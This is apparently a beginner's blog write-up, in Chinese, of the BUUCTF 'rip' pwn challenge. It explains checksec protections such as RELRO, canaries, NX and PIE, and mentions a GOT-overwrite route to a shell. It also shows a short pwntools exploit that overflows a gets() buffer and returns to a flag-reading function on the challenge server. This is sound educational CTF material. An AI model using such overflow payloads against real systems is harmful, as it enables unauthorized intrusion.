PWN入门学习


备注:BUUCTF在线评测 (buuoj.cn) rip

checksec

使用,查看文件的加固机制

checksec filename#老版
checksec --file=filename #新版

Arch:程序架构信息

RELRO(relocation read-only):主要针对GOT改写的攻击方式,分为两种,partial relro和full relro

部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o hello test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO

stack-caacry:栈溢出保护。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。

NX:开启会让栈中数据没有执行权限,无法触发shellcode,只会造成程序崩溃,可以利用rop绕过。

PIE:位置无关可执行,程序运行时各个段加载的虚拟地址是再装载时确定。

静态分析代码

看到main函数,gets函数可能存在栈溢出漏洞,接着点击s局部变量进入栈空间。

image-20210924133025356

第一次看到略感奇怪怎么两个s,r又是什么。首先明确这是main函数的栈空间,上面的s是局部变量,下面的s指的是rbp,64位程序8个字节。r比较特殊,有的地方说是return的东西,但是返回东西一般是通过寄存器eax或rax返回的,有点忘了。r应该是main函数执行完成后,EIP的值,即main函数结束后要执行的下一条执行。

栈溢出漏洞请自行补充知识。

image-20210924133134114

找到提权函数,这个还没有搞懂,大概就是让mian函数执行完了,执行fun函数,然后既可以cat flag了。

image-20210924133520323

动态分析

难度大一些的才需要,使用GDB和peda分析。

编写exp

remote和process一个是远程服务器,一个是本地尝试,使用时只用一个。

本地测试需要赋予可执行的权限,不然总是显示没有权限sudo也不行。

chmod a+x pwn1
#coding:utf-8
from pwn import *
r = remote("node4.buuoj.cn", 28082)
#r = process('./pwn1') 
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)

r.sendline(p1) #哈啊哈

r.interactive()#进入交互模式

参考

checksec工具使用-pwn - 简书 (jianshu.com)

[(12条消息) CTF PWN] 从0到0.00001 PWN入门超级详细_Csome-CSDN博客

posted @ 2021-09-24 13:42  ddddd1234654732  阅读(311)  评论(0)    收藏  举报
Live2D